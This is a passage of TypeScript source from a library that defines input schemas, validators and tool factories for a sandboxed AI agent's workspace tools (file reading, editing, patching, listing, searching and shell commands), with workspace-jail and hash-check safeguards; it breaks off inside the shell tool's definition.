`read_file`. */\nexport const READ_FILE_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: {\n path: string(\"Workspace-relative file path.\"),\n startLine: integer(\"1-based first line to return.\"),\n limit: integer(\"Most lines to return.\"),\n },\n required: [\"path\"],\n};\n\n/** `edit_file`. */\nexport const EDIT_FILE_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: {\n path: string(\"Workspace-relative file path.\"),\n oldString: string(\"Exact text to replace; must be unique unless replaceAll.\"),\n newString: string(\"Replacement text.\"),\n replaceAll: boolean(\"Replace every occurrence.\"),\n expectHash: string(\"Hash from read_file; rejects the edit if the file changed.\"),\n },\n required: [\"path\", \"oldString\", \"newString\"],\n};\n\n/** `apply_patch`. */\nexport const APPLY_PATCH_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: {\n patch: string(\n \"Unified diff (--- a/file, +++ b/file, @@ hunks; git style with rename from/to, new file, deleted file is fine). Applies to all files or none. Binary files are refused.\",\n ),\n dryRun: boolean(\"Check that the patch applies without writing anything.\"),\n },\n required: [\"patch\"],\n};\n\n/** `multi_edit`. */\nexport const MULTI_EDIT_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: {\n path: string(\"Workspace-relative file path.\"),\n edits: {\n type: \"array\",\n description:\n \"Replacements applied in order, each to the result of the previous; all or none.\",\n minItems: 1,\n maxItems: 100,\n items: {\n type: \"object\",\n properties: {\n oldString: string(\"Exact text to replace; must be unique unless replaceAll.\"),\n newString: string(\"Replacement text.\"),\n replaceAll: boolean(\"Replace every occurrence.\"),\n },\n required: [\"oldString\", \"newString\"],\n },\n },\n expectHash: string(\"Hash from read_file; rejects every edit if the file changed.\"),\n },\n required: [\"path\", \"edits\"],\n};\n\n/** `write_file`. */\nexport const WRITE_FILE_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: {\n path: string(\"Workspace-relative file path.\"),\n content: string(\"Full file content.\"),\n },\n required: [\"path\", \"content\"],\n};\n\n/** `list_dir`. */\nexport const LIST_DIR_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: {\n path: string('Workspace-relative directory (default \".\").'),\n depth: integer(\"Levels to list; 1 = direct children (default).\"),\n ignore: { type: \"array\", items: { type: \"string\" }, description: \"Extra globs to leave out.\" },\n },\n};\n\n/** `run_shell` (the `background` property is only listed when background commands are enabled). */\nexport function runShellJsonSchema(background: boolean): JsonSchemaObject {\n return {\n type: \"object\",\n properties: {\n command: string(\"The command line to run.\"),\n timeoutMs: integer(\"Wall-clock cap in ms (can only lower the workspace limit).\"),\n ...(background\n ? {\n background: boolean(\n \"Start it in the background and return its id at once (dev servers, watchers).\",\n ),\n }\n : {}),\n },\n required: [\"command\"],\n };\n}\n\n/** `shell_output`. */\nexport const SHELL_OUTPUT_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: {\n id: string(\"Background command id from run_shell.\"),\n since: integer(\"A cursor from an earlier result; omit for output since the last read.\"),\n waitMs: integer(\"Wait up to this long (max 30000) for new output.\"),\n },\n required: [\"id\"],\n};\n\n/** `shell_kill`. */\nexport const SHELL_KILL_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: { id: string(\"Background command id from run_shell.\") },\n required: [\"id\"],\n};\n\n/** `run_tests`. */\nexport const RUN_TESTS_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: { pattern: string(\"Optional test path or name filter.\") },\n};\n\n/** `grep`. */\nexport const GREP_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: {\n pattern: string(\"Regular expression to search for.\"),\n glob: string('Only search files matching this glob (e.g. \"src/**/*.ts\").'),\n ignoreCase: boolean(\"Case-insensitive match.\"),\n },\n required: [\"pattern\"],\n};\n\n/** `glob`. */\nexport const GLOB_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: { pattern: string('Glob such as \"src/**/*.ts\".') },\n required: [\"pattern\"],\n};\n\n/** `todo_write`. */\nexport const TODO_WRITE_JSON_SCHEMA: JsonSchemaObject = {\n type: \"object\",\n properties: {\n todos: {\n type: \"array\",\n description: \"The complete updated list (replaces the old one).\",\n maxItems: 100,\n items: {\n type: \"object\",\n properties: {\n id: string(\"Stable id; omit to number items by position.\"),\n content: string(\"The step.\"),\n status: { type: \"string\", enum: [\"pending\", \"in_progress\", \"completed\"] },\n },\n required: [\"content\", \"status\"],\n },\n },\n },\n required: [\"todos\"],\n};\n\n/** `todo_read`. */\nexport const TODO_READ_JSON_SCHEMA: JsonSchemaObject = { type: \"object\", properties: {} };\n","import type { StandardSchemaV1 } from \"@standard-schema/spec\";\n\n/**\n * Tiny, dependency-free [Standard Schema](https://standardschema.dev)\n * builders for the workspace tools' input validation. The package pins\n * only `@warlock.js/ai` and `@warlock.js/fs` as runtime dependencies, so\n * rather than pull in a schema library we hand-roll the few shapes the\n * file tools need — exactly the pattern `@warlock.js/ai`'s own `tool()`\n * tests use. Each builder returns a `StandardSchemaV1`, which is what\n * `tool({ input })` validates against before calling `execute`.\n *\n * These intentionally cover only the primitive cases the FILE tools\n * require (`string`, `optional string`, `optional number`, `optional\n * boolean`, and an `object` of fields). They are not a general-purpose\n * validator.\n */\n\n/** The vendor tag stamped on every issue these builders produce. */\nconst VENDOR = \"ai-workspace\";\n\n/** A JSON Schema object, as providers send it with a tool definition. */\nexport type JsonSchemaObject = Record<string, unknown>;\n\n/**\n * A Standard Schema that also carries the JSON Schema of its input as a\n * top-level `jsonSchema` property — the property `@warlock.js/ai`'s\n * `extractJsonSchema` reads — so providers send the model the real\n * parameter shape instead of a bare `{ type: \"object\" }`.\n */\nexport type JsonStandardSchema<T> = StandardSchemaV1<T> & { jsonSchema: JsonSchemaObject };\n\n/** Attach a JSON Schema description to a hand-rolled Standard Schema. */\nexport function withJsonSchema<T>(\n schema: StandardSchemaV1<T>,\n jsonSchema: JsonSchemaObject,\n): JsonStandardSchema<T> {\n return Object.assign(schema, { jsonSchema });\n}\n\n/**\n * A single field validator inside {@link objectSchema}: given a value,\n * return either the coerced value or a list of issues. Field validators\n * receive the raw property and the property name (for issue messages).\n */\nexport type FieldValidator<T> = (\n value: unknown,\n key: string,\n) => { value: T } | { issues: StandardSchemaV1.Issue[] };\n\n/** Required string field — rejects anything that is not a string. */\nexport function stringField(): FieldValidator<string> {\n return (value, key) => {\n if (typeof value === \"string\") {\n return { value };\n }\n\n return { issues: [{ message: `\"${key}\" must be a string`, path: [key] }] };\n };\n}\n\n/**\n * Optional string field — accepts `undefined` (the property absent or\n * explicitly undefined) or a string, and rejects every other type.\n */\nexport function optionalStringField(): FieldValidator<string | undefined> {\n return (value, key) => {\n if (value === undefined) {\n return { value: undefined };\n }\n\n if (typeof value === \"string\") {\n return { value };\n }\n\n return {\n issues: [{ message: `\"${key}\" must be a string when provided`, path: [key] }],\n };\n };\n}\n\n/**\n * Optional finite-number field — accepts `undefined` or a finite number,\n * rejecting `NaN`/`Infinity` and non-number types.\n */\nexport function optionalNumberField(): FieldValidator<number | undefined> {\n return (value, key) => {\n if (value === undefined) {\n return { value: undefined };\n }\n\n if (typeof value === \"number\" && Number.isFinite(value)) {\n return { value };\n }\n\n return {\n issues: [{ message: `\"${key}\" must be a finite number when provided`, path: [key] }],\n };\n };\n}\n\n/** Optional boolean field — accepts `undefined` or a boolean. */\nexport function optionalBooleanField(): FieldValidator<boolean | undefined> {\n return (value, key) => {\n if (value === undefined) {\n return { value: undefined };\n }\n\n if (typeof value === \"boolean\") {\n return { value };\n }\n\n return {\n issues: [{ message: `\"${key}\" must be a boolean when provided`, path: [key] }],\n };\n };\n}\n\n/**\n * Optional array-of-strings field — accepts `undefined` or an array whose\n * every element is a string (at most `maxItems` of them).\n */\nexport function optionalStringArrayField(maxItems = 50): FieldValidator<string[] | undefined> {\n return (value, key) => {\n if (value === undefined) {\n return { value: undefined };\n }\n\n if (\n Array.isArray(value) &&\n value.length <= maxItems &&\n value.every((item) => typeof item === \"string\")\n ) {\n return { value: value as string[] };\n }\n\n return {\n issues: [\n {\n message: `\"${key}\" must be an array of at most ${maxItems} strings when provided`,\n path: [key],\n },\n ],\n };\n };\n}\n\n/** The per-key field validator map describing an object schema's shape. */\ntype ObjectShape<T> = {\n [K in keyof T]-?: FieldValidator<T[K]>;\n};\n\n/**\n * Build a {@link StandardSchemaV1} for a flat object whose every property\n * is validated by a {@link FieldValidator}. The input must be a non-null\n * object; each declared field is validated and the (possibly coerced)\n * values are collected into the typed result. All field issues are merged\n * so the caller sees every problem at once.\n *\n * `T` is constrained to `object` rather than `Record<string, unknown>` so\n * the tool IO `interface`s (which carry no implicit string index\n * signature) satisfy it directly — only the declared keys in `shape` are\n * ever read, so a string index signature is never required.\n *\n * @example\n * const schema = objectSchema<{ path: string; limit?: number }>({\n * path: stringField(),\n * limit: optionalNumberField(),\n * });\n */\nexport function objectSchema<T extends object>(shape: ObjectShape<T>): StandardSchemaV1<T>;\nexport function objectSchema<T extends object>(\n shape: ObjectShape<T>,\n jsonSchema: JsonSchemaObject,\n): JsonStandardSchema<T>;\nexport function objectSchema<T extends object>(\n shape: ObjectShape<T>,\n jsonSchema?: JsonSchemaObject,\n): StandardSchemaV1<T> {\n const schema = buildObjectSchema(shape);\n\n return jsonSchema === undefined ? schema : withJsonSchema(schema, jsonSchema);\n}\n\n/** The validator behind {@link objectSchema}. */\nfunction buildObjectSchema<T extends object>(shape: ObjectShape<T>): StandardSchemaV1<T> {\n return {\n \"~standard\": {\n version: 1,\n vendor: VENDOR,\n validate(input) {\n if (typeof input !== \"object\" || input === null || Array.isArray(input)) {\n return { issues: [{ message: \"input must be an object\" }] };\n }\n\n const source = input as Record<string, unknown>;\n const issues: StandardSchemaV1.Issue[] = [];\n const result: Record<string, unknown> = {};\n\n for (const key of Object.keys(shape) as (keyof T)[]) {\n const field = shape[key];\n const outcome = field(source[key as string], key as string);\n\n if (\"issues\" in outcome) {\n issues.push(...outcome.issues);\n\n continue;\n }\n\n // Only carry through keys that resolved to a defined value, so\n // optional-absent fields stay absent rather than becoming\n // explicit `undefined` properties.\n if (outcome.value !== undefined) {\n result[key as string] = outcome.value;\n }\n }\n\n if (issues.length > 0) {\n return { issues };\n }\n\n return { value: result as T };\n },\n },\n };\n}\n","import type { StandardSchemaV1 } from \"@standard-schema/spec\";\nimport { tool, type ToolContract } from \"@warlock.js/ai\";\nimport type { ApplyPatchInput, ApplyPatchResult, WorkspaceOps } from \"../contracts\";\nimport { applyPatchWithOps } from \"../patch/apply-patch-generic\";\nimport { APPLY_PATCH_JSON_SCHEMA } from \"./json-schemas\";\nimport { withJsonSchema } from \"./schema\";\n\n/** Default tool name exposed to the LLM. */\nconst DEFAULT_NAME = \"apply_patch\";\n\n/** Input schema for the `apply_patch` tool. */\nconst inputSchema = withJsonSchema<ApplyPatchInput>(\n {\n \"~standard\": {\n version: 1,\n vendor: \"ai-workspace\",\n validate(value) {\n if (typeof value !== \"object\" || value === null || Array.isArray(value)) {\n return { issues: [{ message: \"input must be an object\" }] };\n }\n\n const candidate = value as Record<string, unknown>;\n const issues: StandardSchemaV1.Issue[] = [];\n\n if (typeof candidate.patch !== \"string\" || candidate.patch.trim() === \"\") {\n issues.push({ message: '\"patch\" must be a non-empty string', path: [\"patch\"] });\n }\n\n if (candidate.dryRun !== undefined && typeof candidate.dryRun !== \"boolean\") {\n issues.push({ message: '\"dryRun\" must be a boolean when provided', path: [\"dryRun\"] });\n }\n\n if (issues.length > 0 || typeof candidate.patch !== \"string\") {\n return { issues };\n }\n\n return {\n value: {\n patch: candidate.patch,\n ...(candidate.dryRun === true ? { dryRun: true } : {}),\n },\n };\n },\n },\n },\n APPLY_PATCH_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `apply_patch` tool over a workspace's policy-enforced\n * {@link WorkspaceOps}: apply a unified diff that modifies, creates, deletes\n * and renames files. It is **atomic** — every hunk of every file applies, or\n * nothing on disk changes — every path stays inside the workspace jail, and a\n * patch that touches a binary file is refused with a clear error. A failure\n * surfaces as a `WorkspaceEditError` in the result's `error` field.\n *\n * @param ops - The shared, policy-enforced operation layer.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const patch = makeApplyPatchTool(ops);\n * const { data, error } = await patch.invoke({\n * patch: \"--- a/src/a.ts\\n+++ b/src/a.ts\\n@@ -1 +1 @@\\n-old\\n+new\\n\",\n * });\n */\nexport function makeApplyPatchTool(\n ops: WorkspaceOps,\n options?: { name?: string },\n): ToolContract<ApplyPatchInput, ApplyPatchResult> {\n return tool<ApplyPatchInput, ApplyPatchResult>({\n name: options?.name ?? DEFAULT_NAME,\n description:\n \"Apply a unified diff to the workspace: modify, create (--- /dev/null), \" +\n \"delete (+++ /dev/null) and rename (git rename from/to) files in one call. \" +\n \"All of it applies or none of it does. Hunks are located by their context, \" +\n \"so small line drift is fine; binary files are refused. Use dryRun to check first.\",\n action: (input) => (input.dryRun === true ? \"Checking a patch\" : \"Applying a patch\"),\n input: inputSchema,\n execute: (input) => (ops.applyPatch ? ops.applyPatch(input) : applyPatchWithOps(ops, input)),\n });\n}\n","import { tool, type ToolContract } from \"@warlock.js/ai\";\nimport { objectSchema, optionalBooleanField, optionalStringField, stringField } from \"./schema\";\nimport { EDIT_FILE_JSON_SCHEMA } from \"./json-schemas\";\nimport type { EditFileInput, EditFileResult, WorkspaceOps } from \"../contracts\";\n\n/** Default tool name exposed to the LLM. */\nconst DEFAULT_NAME = \"edit_file\";\n\n/** Input schema for the `edit_file` tool. */\nconst inputSchema = objectSchema<EditFileInput>(\n {\n path: stringField(),\n oldString: stringField(),\n newString: stringField(),\n replaceAll: optionalBooleanField(),\n expectHash: optionalStringField(),\n },\n EDIT_FILE_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `edit_file` tool over a workspace's policy-\n * enforced {@link WorkspaceOps}.\n *\n * The tool validates `{ path, oldString, newString, replaceAll?,\n * expectHash? }` against a Standard Schema, then delegates to\n * `ops.editFile`, which applies the exact-string replacement under the\n * read-before-edit guard and returns the replacement count plus the\n * post-edit `hash`.\n *\n * **Errors flow as data.** A non-unique `oldString` (without\n * `replaceAll`), a missing `oldString`, or a stale `expectHash` cause\n * `ops` to throw a `WorkspaceEditError`; the `tool()` wrapper catches it\n * and surfaces it in the returned `{ error }` field — `invoke()` never\n * throws — so the agent can re-read and retry.\n *\n * @param ops - The shared, policy-enforced operation layer.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const editTool = makeEditFileTool(ops);\n * const { data, error } = await editTool.invoke({\n * path: \"src/index.ts\",\n * oldString: \"const a = 1;\",\n * newString: \"const a = 2;\",\n * expectHash,\n * });\n * if (error) console.warn(error.message); // e.g. stale-hash → re-read\n */\nexport function makeEditFileTool(\n ops: WorkspaceOps,\n options?: { name?: string },\n): ToolContract<EditFileInput, EditFileResult> {\n return tool<EditFileInput, EditFileResult>({\n name: options?.name ?? DEFAULT_NAME,\n description:\n \"Replace an exact substring in a workspace file. oldString must match \" +\n \"uniquely unless replaceAll is set. Pass expectHash (from read_file) to \" +\n \"reject the edit if the file changed since you read it. Returns the \" +\n \"number of replacements and the new content hash.\",\n input: inputSchema,\n async execute(input) {\n return ops.editFile(input);\n },\n });\n}\n","import { type ToolContract, tool } from \"@warlock.js/ai\";\nimport { objectSchema, stringField } from \"./schema\";\nimport { GLOB_JSON_SCHEMA } from \"./json-schemas\";\nimport type { GlobInput, GlobResult, WorkspaceOps } from \"../contracts\";\n\n/** Options accepted by {@link makeGlobTool} to customize the vended tool. */\nexport interface MakeGlobToolOptions {\n /**\n * Override the tool name the LLM sees. Defaults to `\"glob\"`. Use a\n * custom name when wiring several workspaces into one agent so each\n * path-match surface is addressable.\n */\n name?: string;\n}\n\n/**\n * Standard Schema for {@link GlobInput} — a single required `pattern`\n * string. Built on the package's shared, dependency-free schema builders\n * (no schema library, matching the validator idiom the `@warlock.js/ai`\n * tool runtime expects).\n */\nconst globInputSchema = objectSchema<GlobInput>(\n {\n pattern: stringField(),\n },\n GLOB_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `glob` tool — resolve a glob pattern to the\n * matching workspace-relative paths within the jail. The returned\n * {@link ToolContract} validates the LLM's arguments, delegates to\n * {@link WorkspaceOps.glob} (which returns a bare sorted `string[]`), and\n * wraps the result in a {@link GlobResult} so the agent always reads a\n * stable `{ paths }` envelope. The jail and `denyPaths` filtering are\n * enforced in the shared ops layer; a policy violation surfaces as typed\n * tool-error *data* via the runtime's `invoke()` wrapper.\n *\n * @param ops - The policy-enforced operation layer to delegate to.\n * @param options - Optional `{ name }` override for the vended tool name.\n * @returns A {@link ToolContract} the agent can call as `glob`.\n *\n * @example\n * const glob = makeGlobTool(ops);\n * const { data } = await glob.invoke({ pattern: \"src/models/**\\/*.ts\" });\n * console.log(data?.paths);\n */\nexport function makeGlobTool(\n ops: WorkspaceOps,\n options?: MakeGlobToolOptions,\n): ToolContract<GlobInput, GlobResult> {\n return tool<GlobInput, GlobResult>({\n name: options?.name ?? \"glob\",\n description:\n \"Find files in the workspace whose path matches a glob pattern \" +\n \"(supports `*`, `**`, and `?`). Returns the matching \" +\n \"workspace-relative paths, sorted.\",\n action: (input) => `Finding files matching ${input.pattern}`,\n input: globInputSchema,\n async execute(input) {\n if (ops.globResult !== undefined) {\n return ops.globResult(input.pattern);\n }\n\n const paths = await ops.glob(input.pattern);\n\n return { paths };\n },\n });\n}\n","import { type ToolContract, tool } from \"@warlock.js/ai\";\nimport { objectSchema, optionalBooleanField, optionalStringField, stringField } from \"./schema\";\nimport { GREP_JSON_SCHEMA } from \"./json-schemas\";\nimport type { GrepInput, GrepResult, WorkspaceOps } from \"../contracts\";\n\n/** Options accepted by {@link makeGrepTool} to customize the vended tool. */\nexport interface MakeGrepToolOptions {\n /**\n * Override the tool name the LLM sees. Defaults to `\"grep\"`. Use a\n * custom name when wiring several workspaces into one agent so each\n * search surface is addressable.\n */\n name?: string;\n}\n\n/**\n * Standard Schema for {@link GrepInput} — `pattern` is a required string;\n * `glob` and `ignoreCase` are optional. Built on the package's shared,\n * dependency-free schema builders (no schema library, matching the\n * validator idiom the `@warlock.js/ai` tool runtime expects).\n */\nconst grepInputSchema = objectSchema<GrepInput>(\n {\n pattern: stringField(),\n glob: optionalStringField(),\n ignoreCase: optionalBooleanField(),\n },\n GREP_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `grep` tool — a regex content search across the\n * jailed file set. The returned {@link ToolContract} validates the LLM's\n * arguments, then delegates verbatim to {@link WorkspaceOps.grep}, so the\n * policy jail, `denyPaths` filtering, and match cap are enforced in the\n * single shared ops layer rather than duplicated here. A policy violation\n * (e.g. a jail-resolution failure) surfaces as typed tool-error *data*\n * via the runtime's `invoke()` wrapper, never as a thrown run-killer.\n *\n * @param ops - The policy-enforced operation layer to delegate to.\n * @param options - Optional `{ name }` override for the vended tool name.\n * @returns A {@link ToolContract} the agent can call as `grep`.\n *\n * @example\n * const grep = makeGrepTool(ops);\n * const { data } = await grep.invoke({ pattern: \"TODO\", glob: \"src/*.ts\" });\n * console.log(data?.total, data?.matches);\n */\nexport function makeGrepTool(\n ops: WorkspaceOps,\n options?: MakeGrepToolOptions,\n): ToolContract<GrepInput, GrepResult> {\n return tool<GrepInput, GrepResult>({\n name: options?.name ?? \"grep\",\n description:\n \"Search file contents across the workspace for a regular-expression \" +\n \"pattern. Optionally narrow the scanned files with a glob and match \" +\n \"case-insensitively. Returns every matching line with its file path \" +\n \"and 1-based line number.\",\n action: (input) => `Searching for /${input.pattern}/`,\n input: grepInputSchema,\n async execute(input) {\n return ops.grep(input.pattern, {\n glob: input.glob,\n ignoreCase: input.ignoreCase,\n });\n },\n });\n}\n","import { tool, type ToolContract } from \"@warlock.js/ai\";\nimport type { ListDirInput, ListDirResult, WorkspaceOps } from \"../contracts\";\nimport { LIST_DIR_JSON_SCHEMA } from \"./json-schemas\";\nimport {\n objectSchema,\n optionalNumberField,\n optionalStringArrayField,\n optionalStringField,\n} from \"./schema\";\n\n/** Default tool name exposed to the LLM. */\nconst DEFAULT_NAME = \"list_dir\";\n\n/** Input schema for the `list_dir` tool. */\nconst inputSchema = objectSchema<ListDirInput>(\n {\n path: optionalStringField(),\n depth: optionalNumberField(),\n ignore: optionalStringArrayField(),\n },\n LIST_DIR_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `list_dir` tool over a workspace's policy-enforced\n * {@link WorkspaceOps}: a bounded, jailed listing of one directory.\n *\n * Entries come back breadth-first (each level sorted by name) with their\n * type and — for files — size, down to `depth` levels (capped by\n * `list.maxDepth`) and at most `list.maxEntries` entries (`truncated` says\n * when the cap hit). `denyPaths` are always left out, as are the\n * `list.ignore` globs (default `node_modules`, `.git`) and any `ignore`\n * globs the model passes. Symlinks are reported as `\"symlink\"` and never\n * followed. A path outside the jail surfaces as a `WorkspacePolicyError` in\n * the result's `error` field.\n *\n * @param ops - The shared, policy-enforced operation layer.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const listDir = makeListDirTool(ops);\n * const { data } = await listDir.invoke({ path: \"src\", depth: 2 });\n * for (const entry of data?.entries ?? []) console.log(entry.type, entry.path, entry.size);\n */\nexport function makeListDirTool(\n ops: WorkspaceOps,\n options?: { name?: string },\n): ToolContract<ListDirInput, ListDirResult> {\n return tool<ListDirInput, ListDirResult>({\n name: options?.name ?? DEFAULT_NAME,\n description:\n \"List a workspace directory: entries with their type and file size, \" +\n \"breadth-first, `depth` levels deep (default 1). Dependency and VCS \" +\n \"folders are left out unless you list them directly.\",\n action: (input) => `Listing ${typeof input.path === \"string\" ? input.path : \".\"}`,\n input: inputSchema,\n execute: (input) =>\n ops.listDir(input.path ?? \".\", {\n ...(input.depth !== undefined ? { depth: input.depth } : {}),\n ...(input.ignore !== undefined ? { ignore: input.ignore } : {}),\n }),\n });\n}\n","import type { StandardSchemaV1 } from \"@standard-schema/spec\";\nimport { tool, type ToolContract } from \"@warlock.js/ai\";\nimport { MAX_MULTI_EDITS } from \"../ops\";\nimport type {\n MultiEditInput,\n MultiEditOperation,\n MultiEditResult,\n WorkspaceOps,\n} from \"../contracts\";\nimport { MULTI_EDIT_JSON_SCHEMA } from \"./json-schemas\";\nimport { withJsonSchema } from \"./schema\";\n\n/** Default tool name exposed to the LLM. */\nconst DEFAULT_NAME = \"multi_edit\";\n\n/** Validate one element of `edits`. */\nfunction validateEdit(\n value: unknown,\n index: number,\n): { edit: MultiEditOperation } | { issues: StandardSchemaV1.Issue[] } {\n if (typeof value !== \"object\" || value === null || Array.isArray(value)) {\n return { issues: [{ message: `edits[${index}] must be an object`, path: [\"edits\", index] }] };\n }\n\n const candidate = value as Record<string, unknown>;\n const issues: StandardSchemaV1.Issue[] = [];\n\n if (typeof candidate.oldString !== \"string\" || candidate.oldString === \"\") {\n issues.push({\n message: `edits[${index}].oldString must be a non-empty string`,\n path: [\"edits\", index, \"oldString\"],\n });\n }\n\n if (typeof candidate.newString !== \"string\") {\n issues.push({\n message: `edits[${index}].newString must be a string`,\n path: [\"edits\", index, \"newString\"],\n });\n }\n\n if (candidate.replaceAll !== undefined && typeof candidate.replaceAll !== \"boolean\") {\n issues.push({\n message: `edits[${index}].replaceAll must be a boolean when provided`,\n path: [\"edits\", index, \"replaceAll\"],\n });\n }\n\n if (\n issues.length > 0 ||\n typeof candidate.oldString !== \"string\" ||\n typeof candidate.newString !== \"string\"\n ) {\n return { issues };\n }\n\n return {\n edit: {\n oldString: candidate.oldString,\n newString: candidate.newString,\n ...(candidate.replaceAll === true ? { replaceAll: true } : {}),\n },\n };\n}\n\n/** Input schema for the `multi_edit` tool. */\nconst inputSchema = withJsonSchema<MultiEditInput>(\n {\n \"~standard\": {\n version: 1,\n vendor: \"ai-workspace\",\n validate(value) {\n if (typeof value !== \"object\" || value === null || Array.isArray(value)) {\n return { issues: [{ message: \"input must be an object\" }] };\n }\n\n const candidate = value as Record<string, unknown>;\n const issues: StandardSchemaV1.Issue[] = [];\n const edits: MultiEditOperation[] = [];\n\n if (typeof candidate.path !== \"string\" || candidate.path === \"\") {\n issues.push({ message: '\"path\" must be a non-empty string', path: [\"path\"] });\n }\n\n if (candidate.expectHash !== undefined && typeof candidate.expectHash !== \"string\") {\n issues.push({\n message: '\"expectHash\" must be a string when provided',\n path: [\"expectHash\"],\n });\n }\n\n if (\n !Array.isArray(candidate.edits) ||\n candidate.edits.length === 0 ||\n candidate.edits.length > MAX_MULTI_EDITS\n ) {\n issues.push({\n message: `\"edits\" must be an array of 1 to ${MAX_MULTI_EDITS} edits`,\n path: [\"edits\"],\n });\n } else {\n candidate.edits.forEach((item: unknown, index: number) => {\n const outcome = validateEdit(item, index);\n\n if (\"issues\" in outcome) {\n issues.push(...outcome.issues);\n } else {\n edits.push(outcome.edit);\n }\n });\n }\n\n if (issues.length > 0 || typeof candidate.path !== \"string\") {\n return { issues };\n }\n\n return {\n value: {\n path: candidate.path,\n edits,\n ...(typeof candidate.expectHash === \"string\"\n ? { expectHash: candidate.expectHash }\n : {}),\n },\n };\n },\n },\n },\n MULTI_EDIT_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `multi_edit` tool over a workspace's policy-\n * enforced {@link WorkspaceOps}: several exact-string replacements in one\n * file, **atomic** — every edit applies, in order (each against the result\n * of the previous ones), and the file is written once; or one edit fails\n * and nothing is written.\n *\n * Each edit follows the `edit_file` rules: `oldString` must be found, and\n * found exactly once unless `replaceAll`. An optional `expectHash` (from\n * `read_file`) rejects the whole call when the file changed since it was\n * read. A failure surfaces as a `WorkspaceEditError` in the result's\n * `error` field, with `editIndex` naming the failing edit.\n *\n * @param ops - The shared, policy-enforced operation layer.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const multiEdit = makeMultiEditTool(ops);\n * const { data, error } = await multiEdit.invoke({\n * path: \"src/cart.ts\",\n * expectHash,\n * edits: [\n * { oldString: \"let total = 0;\", newString: \"let total = 0n;\" },\n * { oldString: \"total += price;\", newString: \"total += BigInt(price);\" },\n * ],\n * });\n */\nexport function makeMultiEditTool(\n ops: WorkspaceOps,\n options?: { name?: string },\n): ToolContract<MultiEditInput, MultiEditResult> {\n return tool<MultiEditInput, MultiEditResult>({\n name: options?.name ?? DEFAULT_NAME,\n description:\n \"Make several exact-string replacements in one workspace file at once. \" +\n \"Edits apply in order, each to the result of the previous; if any \" +\n \"edit fails (text not found, or not unique without replaceAll) none \" +\n \"are applied. Pass expectHash (from read_file) to reject the call if \" +\n \"the file changed since you read it.\",\n action: (input) => `Editing ${typeof input.path === \"string\" ? input.path : \"a file\"}`,\n input: inputSchema,\n execute: (input) => ops.multiEdit(input),\n });\n}\n","import { tool, type ToolContract } from \"@warlock.js/ai\";\nimport { objectSchema, optionalNumberField, stringField } from \"./schema\";\nimport { READ_FILE_JSON_SCHEMA } from \"./json-schemas\";\nimport type { ReadFileInput, ReadFileResult, WorkspaceOps } from \"../contracts\";\n\n/** Default tool name exposed to the LLM. */\nconst DEFAULT_NAME = \"read_file\";\n\n/** Input schema for the `read_file` tool. */\nconst inputSchema = objectSchema<ReadFileInput>(\n {\n path: stringField(),\n startLine: optionalNumberField(),\n limit: optionalNumberField(),\n },\n READ_FILE_JSON_SCHEMA,\n);\n\n/**\n * Build the agent-facing `read_file` tool over a workspace's policy-\n * enforced {@link WorkspaceOps}.\n *\n * The tool validates `{ path, startLine?, limit? }` against a Standard\n * Schema, then delegates to `ops.readFile`, mapping the result into the\n * agent wire shape {@link ReadFileResult} — the full file's `hash` an\n * agent must carry into a later `edit_file` (read-before-edit), plus the\n * `startLine` / `endLine` / `truncated` / `bytesCapped` window metadata.\n * The returned `content` never exceeds the policy's `read.maxBytes`.\n *\n * **Errors flow as data.** Policy violations (a jail escape) are thrown\n * by `ops`; the `tool()` wrapper catches them and surfaces them in the\n * returned `{ error }` field — `invoke()` never throws — so the agent can\n * read the failure and self-correct.\n *\n * @param ops - The shared, policy-enforced operation layer.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const readTool = makeReadFileTool(ops);\n * const { data, error } = await readTool.invoke({ path: \"src/index.ts\" });\n * if (!error) console.log(data.hash); // feed into edit_file's expectHash\n */\nexport function makeReadFileTool(\n ops: WorkspaceOps,\n options?: { name?: string },\n): ToolContract<ReadFileInput, ReadFileResult> {\n return tool<ReadFileInput, ReadFileResult>({\n name: options?.name ?? DEFAULT_NAME,\n description:\n \"Read a file from the workspace, returning a numbered line window plus \" +\n \"the file's content hash. Pass the hash to edit_file's expectHash to \" +\n \"guard against editing a stale version. Use startLine/limit to page \" +\n \"through large files. Output is byte-capped by the workspace policy; \" +\n \"when bytesCapped is true the last returned line may be cut short.\",\n input: inputSchema,\n async execute(input) {\n // The ops layer owns the window and byte-cap arithmetic, so the tool\n // and the direct `readFile()` return identical results for the same\n // arguments.\n return ops.readFile(input.path, {\n offset: input.startLine !== undefined ? Math.max(1, input.startLine) : 1,\n limit: input.limit,\n });\n },\n });\n}\n","import type { StandardSchemaV1 } from \"@standard-schema/spec\";\nimport { tool, type ToolContract } from \"@warlock.js/ai\";\nimport { WorkspacePolicyError } from \"../errors\";\nimport type {\n RunShellBackgroundResult,\n RunShellInput,\n RunShellResult,\n WorkspaceOps,\n} from \"../contracts\";\nimport { runShellJsonSchema } from \"./json-schemas\";\nimport { withJsonSchema } from \"./schema\";\n\n/** The default tool name `run_shell` is exposed to the LLM under. */\nconst DEFAULT_RUN_SHELL_TOOL_NAME = \"run_shell\";\n\n/**\n * Hand-rolled Standard Schema for {@link RunShellInput}. We validate the\n * model's 